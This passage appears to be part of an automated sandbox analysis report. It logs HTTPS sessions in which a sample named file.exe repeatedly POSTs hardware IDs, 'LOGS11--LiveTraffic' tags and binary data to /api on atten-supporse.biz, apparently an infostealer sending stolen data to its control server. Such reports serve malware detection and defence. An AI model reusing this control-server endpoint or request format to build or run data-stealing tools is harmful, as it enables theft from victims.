2024-12-10 04:47:04 UTC	898	IN	Data Raw: 45 4a 62 53 6c 6a 45 71 69 34 36 71 44 79 70 4b 2b 61 36 4d 48 37 6b 33 30 69 53 4d 5a 35 4b 37 76 78 4a 62 48 77 54 6f 46 65 61 56 73 39 59 6b 73 53 71 72 54 76 75 37 32 65 34 6f 2b 70 32 37 75 54 65 32 67 66 6a 48 55 6a 74 66 51 75 76 72 4d 49 79 6b 74 78 43 57 4d 76 62 51 57 38 74 75 32 6e 2f 4c 61 6f 6e 75 48 42 38 70 39 2b 4c 55 44 49 50 57 6a 32 38 44 33 78 36 45 44 67 56 48 6f 58 62 7a 56 6f 56 36 58 39 2b 75 33 34 71 4f 4c 49 70 38 62 36 6b 48 59 73 53 63 4a 35 4b 72 44 35 4b 4c 36 32 43 73 46 65 65 78 4e 74 49 32 55 63 74 62 50 6d 6f 50 75 69 72 70 48 69 67 72 58 55 63 44 41 48 6c 44 30 49 73 66 51 33 38 34 55 44 7a 31 64 32 44 53 55 39 4a 67 37 36 74 4f 2f 74 70 2b 53 73 6c 65 6a 51 2b 6f 5a 79 4a 6c 58 41 65 43 43 37 39 43 75 78 74 51 66 4d 56 Data Ascii: EJbSljEqi46qDypK+a6MH7k30iSMZ5K7vxJbHwToFeaVs9YksSqrTvu72e4o+p27uTe2gfjHUjtfQuvrMIyktxCWMvbQW8tu2n/LaonuHB8p9+LUDIPWj28D3x6EDgVHoXbzVoV6X9+u34qOLIp8b6kHYsScJ5KrD5KL62CsFeexNtI2UctbPmoPuirpHigrXUcDAHlD0IsfQ384UDz1d2DSU9Jg76tO/tp+SslejQ+oZyJlXAeCC79CuxtQfMV
2024-12-10 04:47:04 UTC	1369	IN	Data Raw: 34 34 33 65 0d 0a 38 55 62 79 70 67 46 37 65 79 36 4b 58 35 71 61 6d 66 36 4d 58 7a 6c 33 73 74 53 73 38 39 61 50 62 77 50 66 48 6f 51 4f 52 58 63 67 70 30 59 46 30 55 74 4c 33 6b 75 37 2b 37 37 49 6d 6e 78 66 66 55 4c 32 68 4e 79 33 6f 69 75 2f 30 6d 74 62 51 4e 7a 6c 42 34 45 6e 63 6f 5a 42 6d 6f 76 75 6d 6f 38 61 69 6e 6e 2b 66 44 2b 70 70 39 49 77 65 43 50 53 47 75 74 33 33 78 6e 77 33 52 53 33 73 51 64 47 42 64 46 4c 53 39 35 4c 75 2f 75 2b 79 4a 70 38 58 33 31 43 39 6f 54 4d 70 78 4b 72 62 78 4e 37 2b 2f 45 73 74 4c 64 52 56 68 4c 6d 59 65 74 37 7a 6d 76 2f 75 6b 73 4a 48 69 78 66 57 5a 5a 53 30 48 67 6a 30 68 72 72 64 39 38 59 6f 30 78 6b 6c 67 48 43 63 58 61 78 6d 30 74 50 58 74 34 4f 71 37 30 4f 44 4f 75 38 77 33 4b 30 76 42 64 43 4f 35 35 53 2b Data Ascii: 443e8UbypgF7ey6KX5qamf6MXzl3stSs89aPbwPfHoQORXcgp0YF0UtL3ku7+77ImnxffUL2hNy3oiu/0mtbQNzlB4EncoZBmovumo8ainn+fD+pp9IweCPSGut33xnw3RS3sQdGBdFLS95Lu/u+yJp8X31C9oTMpxKrbxN7+/EstLdRVhLmYet7zmv/uksJHixfWZZS0Hgj0hrrd98Yo0xklgHCcXaxm0tPXt4Oq70ODOu8w3K0vBdCO55S+
2024-12-10 04:47:04 UTC	1369	IN	Data Raw: 30 74 30 46 57 45 6f 62 52 4f 32 75 65 4f 6f 37 61 79 6b 6c 2b 76 4b 2f 70 74 78 4c 55 72 4c 64 69 57 6b 35 53 61 31 76 67 79 42 46 7a 45 63 66 57 49 77 56 35 2b 6b 34 4c 33 35 70 2b 4b 50 71 64 75 37 6b 33 74 6f 48 34 78 39 4b 4c 72 38 49 72 71 37 42 4d 56 5a 66 42 42 72 4c 47 45 62 73 72 2f 6b 76 2f 4b 68 71 70 72 75 78 2f 65 5a 64 44 70 45 7a 54 31 6f 39 76 41 39 38 65 68 41 35 6d 70 47 4f 43 55 39 4a 67 37 36 74 4f 2f 74 70 2b 53 6a 6d 4f 44 4d 2f 34 5a 35 4f 6b 6e 4c 66 53 43 2b 2f 79 4b 39 76 67 37 54 55 58 41 62 61 79 31 67 48 72 36 79 35 36 6e 7a 6f 2b 4c 65 70 38 58 6a 31 43 39 6f 62 38 39 6e 50 50 54 5a 4c 72 47 33 45 4e 64 43 4d 51 51 72 4f 79 67 51 74 76 4f 37 37 66 75 76 71 4a 6e 6b 79 2f 2b 5a 64 79 46 49 78 58 55 72 76 75 55 6b 75 36 49 45 Data Ascii: 0t0FWEobRO2ueOo7aykl+vK/ptxLUrLdiWk5Sa1vgyBFzEcfWIwV5+k4L35p+KPqdu7k3toH4x9KLr8Irq7BMVZfBBrLGEbsr/kv/Khqprux/eZdDpEzT1o9vA98ehA5mpGOCU9Jg76tO/tp+SjmODM/4Z5OknLfSC+/yK9vg7TUXAbay1gHr6y56nzo+Lep8Xj1C9ob89nPPTZLrG3ENdCMQQrOygQtvO77fuvqJnky/+ZdyFIxXUrvuUku6IE
2024-12-10 04:47:04 UTC	1369	IN	Data Raw: 46 71 49 57 41 61 75 62 76 78 72 66 4b 6b 73 49 4c 68 79 66 58 55 4f 57 68 41 31 44 31 2b 39 73 59 79 75 76 41 66 6a 30 41 78 48 47 6c 69 4d 46 65 35 75 65 36 6a 37 61 43 6b 6d 2b 54 4d 38 35 46 2f 4c 45 33 42 63 69 32 38 2f 69 32 78 76 77 58 4a 55 6e 63 56 5a 43 52 6b 47 76 72 39 6f 36 72 6e 35 50 72 51 77 4e 6a 32 6b 6d 41 35 63 73 74 39 64 2f 62 6f 61 36 6a 77 42 38 30 5a 4b 56 74 6f 4c 6d 49 61 76 37 66 72 71 76 79 6c 72 70 54 71 7a 2f 2b 64 63 79 31 56 33 6e 73 6f 74 76 67 72 76 72 77 53 7a 31 78 78 46 79 56 73 4b 42 43 69 38 37 76 74 7a 72 4f 69 30 50 69 4d 34 74 52 77 4a 41 65 55 50 53 6d 37 35 53 6d 2b 73 41 48 43 58 58 6f 63 59 79 52 70 46 4c 2b 77 35 71 76 2b 70 4b 36 61 34 4d 72 78 6d 6e 6f 75 51 38 70 37 5a 76 69 33 49 71 6e 77 57 49 46 72 66 Data Ascii: FqIWAaubvxrfKksILhyfXUOWhA1D1+9sYyuvAfj0AxHGliMFe5ue6j7aCkm+TM85F/LE3Bci28/i2xvwXJUncVZCRkGvr9o6rn5PrQwNj2kmA5cst9d/boa6jwB80ZKVtoLmIav7frqvylrpTqz/+dcy1V3nsotvgrvrwSz1xxFyVsKBCi87vtzrOi0PiM4tRwJAeUPSm75Sm+sAHCXXocYyRpFL+w5qv+pK6a4MrxmnouQ8p7Zvi3IqnwWIFrf
2024-12-10 04:47:04 UTC	1369	IN	Data Raw: 6f 47 37 57 30 36 36 4c 37 70 4b 33 51 71 59 4c 38 6a 44 64 77 42 2b 78 32 4d 4a 66 35 4c 71 50 77 48 34 39 41 4d 52 78 70 59 6a 42 58 74 4c 72 69 70 66 47 6f 71 70 54 31 77 76 43 64 65 43 6c 49 7a 48 34 6e 76 50 38 33 74 37 41 4c 79 56 35 35 48 32 73 77 61 52 6a 36 2f 61 4f 71 35 2b 54 36 30 4e 62 55 2f 4a 4e 34 61 6d 37 4c 5a 69 65 38 39 43 36 39 38 42 2b 50 51 44 45 63 61 57 49 77 56 37 65 2f 37 71 6e 74 71 4b 4b 51 37 73 58 78 68 6e 67 6e 53 73 39 39 49 36 54 32 4e 37 36 37 42 63 4a 64 66 68 52 70 4b 6d 4a 58 39 50 50 6b 74 62 2f 38 34 72 7a 6b 30 2f 48 57 55 44 4a 52 79 33 45 33 76 66 6f 70 38 61 39 4f 32 42 6c 32 46 79 56 36 4b 42 65 37 76 76 47 6f 2f 71 36 6f 6e 65 2f 4e 2f 70 46 34 4c 45 50 48 63 7a 53 34 2b 43 57 33 75 77 48 45 57 6e 6f 52 61 79 Data Ascii: oG7W066L7pK3QqYL8jDdwB+x2MJf5LqPwH49AMRxpYjBXtLripfGoqpT1wvCdeClIzH4nvP83t7ALyV55H2swaRj6/aOq5+T60NbU/JN4am7LZie89C698B+PQDEcaWIwV7e/7qntqKKQ7sXxhngnSs99I6T2N767BcJdfhRpKmJX9PPktb/84rzk0/HWUDJRy3E3vfop8a9O2Bl2FyV6KBe7vvGo/q6one/N/pF4LEPHczS4+CW3uwHEWnoRay
2024-12-10 04:47:04 UTC	1369	IN	Data Raw: 75 75 61 6c 2f 4b 47 6e 6d 75 76 4f 2b 70 78 2b 49 6b 4c 4a 65 79 79 31 2b 53 71 77 76 41 54 49 56 33 68 62 4b 32 4a 76 44 2f 72 72 6f 35 76 76 6f 37 71 64 39 34 44 4a 6c 32 59 35 55 73 46 74 49 50 54 59 4a 72 32 7a 42 63 5a 4a 4d 51 51 72 4f 79 67 51 74 76 4f 37 37 66 2b 67 72 70 50 67 7a 50 53 5a 65 43 39 4d 77 33 63 6f 70 50 67 67 75 62 77 49 7a 45 74 37 45 58 63 72 59 52 71 30 75 2f 47 75 76 2b 72 69 6c 2f 2b 43 6f 39 52 46 49 6b 54 41 61 79 75 35 74 7a 72 2f 71 55 44 47 56 54 46 44 4a 54 42 36 46 37 47 7a 35 4b 50 74 70 61 71 66 37 63 4c 39 6e 33 30 72 54 73 68 7a 4c 37 44 32 4b 4c 43 78 41 4d 52 5a 65 41 6c 6f 59 69 5a 58 76 61 75 6a 39 62 2b 54 72 70 76 57 77 65 33 55 61 47 5a 65 6a 48 6f 71 39 71 39 6c 73 4b 49 4e 79 56 31 78 46 6d 4d 70 61 52 61 Data Ascii: uual/KGnmuvO+px+IkLJeyy1+SqwvATIV3hbK2JvD/rro5vvo7qd94DJl2Y5UsFtIPTYJr2zBcZJMQQrOygQtvO77f+grpPgzPSZeC9Mw3copPggubwIzEt7EXcrYRq0u/Guv+ril/+Co9RFIkTAayu5tzr/qUDGVTFDJTB6F7Gz5KPtpaqf7cL9n30rTshzL7D2KLCxAMRZeAloYiZXvauj9b+TrpvWwe3UaGZejHoq9q9lsKINyV1xFmMpaRa
2024-12-10 04:47:04 UTC	1369	IN	Data Raw: 65 33 6b 2b 74 43 67 77 65 6d 47 63 53 74 52 7a 7a 6f 59 69 4e 63 75 70 37 45 4e 79 6c 56 50 4a 58 41 68 5a 68 6d 39 70 66 4c 74 73 65 53 74 30 4c 2f 37 75 39 77 33 46 77 6d 4d 5a 57 62 75 74 78 43 79 76 67 37 47 54 32 42 57 52 53 6c 2b 46 72 65 34 37 2b 2f 2b 71 62 4b 58 70 34 79 37 6b 6a 64 77 46 34 49 39 49 71 65 33 66 65 48 69 57 35 51 4b 4a 6b 73 33 50 53 59 4f 2b 71 57 6a 39 61 33 71 34 6f 4b 6e 6d 72 76 54 64 44 70 56 79 6e 34 77 74 62 41 62 6a 35 41 4c 7a 56 70 39 47 6d 4a 69 4a 6c 65 31 38 37 75 55 76 36 65 77 67 71 6a 54 37 5a 6c 6e 4c 77 76 45 62 43 75 36 74 32 76 78 2f 41 54 4b 56 58 51 63 64 57 31 36 42 37 47 2f 39 65 48 37 74 75 4c 65 70 39 50 77 6d 32 55 6d 51 49 4e 73 4d 4c 76 6e 4a 72 53 33 54 4d 6c 49 66 42 63 6c 62 43 67 43 73 62 2f 6c Data Ascii: e3k+tCgwemGcStRzzoYiNcup7ENylVPJXAhZhm9pfLtseSt0L/7u9w3FwmMZWbutxCyvg7GT2BWRSl+Fre47+/+qbKXp4y7kjdwF4I9Iqe3feHiW5QKJks3PSYO+qWj9a3q4oKnmrvTdDpVyn4wtbAbj5ALzVp9GmJiJle187uUv6ewgqjT7ZlnLwvEbCu6t2vx/ATKVXQcdW16B7G/9eH7tuLep9Pwm2UmQINsMLvnJrS3TMlIfBclbCgCsb/l
2024-12-10 04:47:04 UTC	1369	IN	Data Raw: 58 63 72 34 37 71 68 33 6b 6a 55 63 73 39 47 66 69 33 50 66 48 6f 51 50 52 61 66 78 56 69 4e 48 6c 61 6e 4c 44 6b 71 2f 79 71 74 59 47 6e 6a 4c 75 53 4e 33 41 56 67 6a 30 69 70 37 64 39 34 65 4a 62 6c 41 6f 6d 53 7a 63 39 4a 67 37 36 70 61 50 31 72 4f 72 69 67 71 65 61 75 39 4e 35 4a 55 62 50 63 79 57 6b 35 53 4f 79 70 67 4f 47 5a 30 38 2b 61 43 39 74 47 62 32 4e 33 59 7a 31 74 4b 2b 66 34 50 7a 46 6f 32 59 76 56 34 35 62 4a 61 44 30 5a 66 2f 77 47 49 45 42 4d 54 70 76 4d 6d 55 59 76 66 4f 74 37 66 76 6b 2b 74 44 43 7a 2f 61 52 65 53 38 46 37 58 63 32 75 2f 67 69 38 66 35 41 7a 52 6b 70 57 32 51 6f 65 42 71 31 74 4b 2b 71 35 61 50 69 33 71 66 4d 75 38 77 33 4b 55 33 63 63 43 6d 78 75 79 4f 2f 76 6b 44 65 46 32 68 62 63 32 49 77 52 50 54 7a 38 65 32 6e 35 Data Ascii: Xcr47qh3kjUcs9Gfi3PfHoQPRafxViNHlanLDkq/yqtYGnjLuSN3AVgj0ip7d94eJblAomSzc9Jg76paP1rOrigqeau9N5JUbPcyWk5SOypgOGZ08+aC9tGb2N3Yz1tK+f4PzFo2YvV45bJaD0Zf/wGIEBMTpvMmUYvfOt7fvk+tDCz/aReS8F7Xc2u/gi8f5AzRkpW2QoeBq1tK+q5aPi3qfMu8w3KU3ccCmxuyO/vkDeF2hbc2IwRPTz8e2n5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.16.1	443	5812	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:47:05 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3BDSDXHNH4G37FTDI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12835 Host: atten-supporse.biz
2024-12-10 04:47:05 UTC	12835	OUT	Data Raw: 2d 2d 33 42 44 53 44 58 48 4e 48 34 47 33 37 46 54 44 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 42 41 42 46 37 37 42 44 43 34 33 33 38 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 33 42 44 53 44 58 48 4e 48 34 47 33 37 46 54 44 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 42 44 53 44 58 48 4e 48 34 47 33 37 46 54 44 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --3BDSDXHNH4G37FTDIContent-Disposition: form-data; name="hwid"6BABF77BDC4338B723D904AF30EFEBBC--3BDSDXHNH4G37FTDIContent-Disposition: form-data; name="pid"2--3BDSDXHNH4G37FTDIContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-10 04:47:06 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:47:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7ie2qtmshoqp7ne2fi59dsns53; expires=Fri, 04-Apr-2025 22:33:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=boS3ZtHA4XANaY25VuLnBzH%2By5mWvhWJucKujTA%2BcNRjC39aZLHx0xakeEVjNVycqmlqNHZlr3G3U5Uu6tYmM1LWHC0lWiCdEJAVcm0Y7ViaKhvS3ubxqMXLpKZHR6LnQ0pdVPc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa984e5c04de96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1478&min_rtt=1476&rtt_var=557&sent=12&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13776&delivery_rate=1957104&cwnd=221&unsent_bytes=0&cid=2180f509f8d1cbb8&ts=955&x=0"
2024-12-10 04:47:06 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 04:47:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.16.1	443	5812	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:47:08 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5R0FCSNA5B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15035 Host: atten-supporse.biz
2024-12-10 04:47:08 UTC	15035	OUT	Data Raw: 2d 2d 35 52 30 46 43 53 4e 41 35 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 42 41 42 46 37 37 42 44 43 34 33 33 38 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 35 52 30 46 43 53 4e 41 35 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 35 52 30 46 43 53 4e 41 35 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 35 52 30 46 43 53 4e 41 35 42 0d 0a 43 6f Data Ascii: --5R0FCSNA5BContent-Disposition: form-data; name="hwid"6BABF77BDC4338B723D904AF30EFEBBC--5R0FCSNA5BContent-Disposition: form-data; name="pid"2--5R0FCSNA5BContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--5R0FCSNA5BCo
2024-12-10 04:47:09 UTC	1019	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:47:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bacdjujnaiq6f84kfqagkt3jn4; expires=Fri, 04-Apr-2025 22:33:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DPoEz42eWYhxzcCVwF%2FgsJ9Eel07xYFGFkEz2xQcPHslvo2kcDQpYmv7HzCJ3vykdreBJEESSZUARQUPewAvsvynzbqtRMfxoPXShYWK4ChhagXcoPYM%2B1ayK1XQ%2F4AAQr%2FfNTE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa985cdb30de96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1555&min_rtt=1555&rtt_var=777&sent=19&recv=20&lost=0&retrans=1&sent_bytes=4230&recv_bytes=15969&delivery_rate=94303&cwnd=221&unsent_bytes=0&cid=c6e0cf9c5e8297e2&ts=926&x=0"
2024-12-10 04:47:09 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 04:47:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.16.1	443	5812	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:47:10 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NXFBTI6EC0DNM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20543 Host: atten-supporse.biz
2024-12-10 04:47:10 UTC	15331	OUT	Data Raw: 2d 2d 4e 58 46 42 54 49 36 45 43 30 44 4e 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 42 41 42 46 37 37 42 44 43 34 33 33 38 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4e 58 46 42 54 49 36 45 43 30 44 4e 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4e 58 46 42 54 49 36 45 43 30 44 4e 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4e 58 46 42 54 Data Ascii: --NXFBTI6EC0DNMContent-Disposition: form-data; name="hwid"6BABF77BDC4338B723D904AF30EFEBBC--NXFBTI6EC0DNMContent-Disposition: form-data; name="pid"3--NXFBTI6EC0DNMContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--NXFBT
2024-12-10 04:47:10 UTC	5212	OUT	Data Raw: 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 Data Ascii: F3Wun 4F([:7s~X`nO`i
2024-12-10 04:47:11 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:47:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5h9q0b2fjhtrsiv193u2rjkqqi; expires=Fri, 04-Apr-2025 22:33:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jeviE9Vr2x8f0uMQexX2c1jucrXh7d3Z6IpAzQjHmxSN%2F4e4Nfijc4%2BXj5V390jMLNCQT%2FB4d6DudwWnzMETXB0CCwaj28K8zchuTnt3WJSqzMC7WtpnFnLQD49doXRzOC43CEo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa986c6f0dde96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1457&min_rtt=1453&rtt_var=553&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21502&delivery_rate=1966329&cwnd=221&unsent_bytes=0&cid=bab72dbf7d95b8fb&ts=1155&x=0"
2024-12-10 04:47:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 04:47:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.16.1	443	5812	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:47:13 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SXJ500WZUA0PWNQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1235 Host: atten-supporse.biz
2024-12-10 04:47:13 UTC	1235	OUT	Data Raw: 2d 2d 53 58 4a 35 30 30 57 5a 55 41 30 50 57 4e 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 42 41 42 46 37 37 42 44 43 34 33 33 38 42 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 53 58 4a 35 30 30 57 5a 55 41 30 50 57 4e 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 58 4a 35 30 30 57 5a 55 41 30 50 57 4e 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --SXJ500WZUA0PWNQContent-Disposition: form-data; name="hwid"6BABF77BDC4338B723D904AF30EFEBBC--SXJ500WZUA0PWNQContent-Disposition: form-data; name="pid"1--SXJ500WZUA0PWNQContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-10 04:47:14 UTC	1026	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:47:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8doc3hmamqmfg17epk82eobobf; expires=Fri, 04-Apr-2025 22:33:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yKw0S2I5kbps50vnb76F29WtN2L4JW5GhYeDqdPwHBv%2BVGSqR2f0J%2BYOm2yx62RM0TjXJf2jNWm1nrWYagts%2F%2B%2F5B1%2BJA8nhnJ%2BhxklbS09s07AT3Bj4dR7%2FHhl0fH3OZMlqjsU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa987d3a4841c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1567&rtt_var=614&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2151&delivery_rate=1745367&cwnd=205&unsent_bytes=0&cid=ff1261111c702a6c&ts=748&x=0"
2024-12-10 04:47:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 04:47:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	104.21.16.1	443	5812	C:\Users\user\Desktop\file.exe

